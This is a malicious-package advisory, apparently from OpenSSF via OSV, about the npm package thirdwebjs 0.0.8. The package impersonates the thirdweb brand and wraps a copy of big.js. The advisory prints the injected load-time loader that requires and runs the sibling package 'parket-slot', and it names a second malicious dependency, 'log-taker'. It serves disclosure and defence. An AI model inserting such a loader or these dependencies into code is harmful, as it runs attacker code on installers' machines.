OpenSSF/OSV advisory MAL-2026-6344 confirms this npm version as malicious. Package name impersonates the well-known 'thirdweb' brand but ships a verbatim copy of MikeMcl's big.js arithmetic library with an injected loader. Both entrypoints declared in package.json exports (big.js line 606 and big.mjs line 606) contain `try { const doc = require("parket-slot"); doc.from_str().then(e => {}).catch(e => {}) } catch (error) {} ` — a require() that fires at library-load time and hands execution...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in thirdwebjs (npm)
Details
Package name impersonates the well-known 'thirdweb' brand but ships a verbatim copy of MikeMcl's big.js arithmetic library with an injected loader. Both entrypoints declared in package.json exports (big.js line 606 and big.mjs line 606) contain `try { const doc = require("parket-slot"); doc.from_str().then(e => {}).catch(e => {}) } catch (error) {} ` — a require() that fires at library-load time and hands execution to the sibling package 'parket-slot'. package.json line 58 also declares `"log-taker": "^0.0.9"` as a runtime dependency, pulling a second attacker-controlled sibling into the installer's tree. The legitimate big.js source contains no such require. Any consumer that installs and requires/imports thirdwebjs in either CommonJS or ESM auto-executes code from parket-slot, with log-taker additionally resolved into node_modules at install time. This is a brand-impersonation dropper using sibling packages as the payload delivery channel.
Decision reason
OpenSSF Malicious Packages via OSV confirms thirdwebjs@0.0.8 as malicious (MAL-2026-6344): Malicious code in thirdwebjs (npm)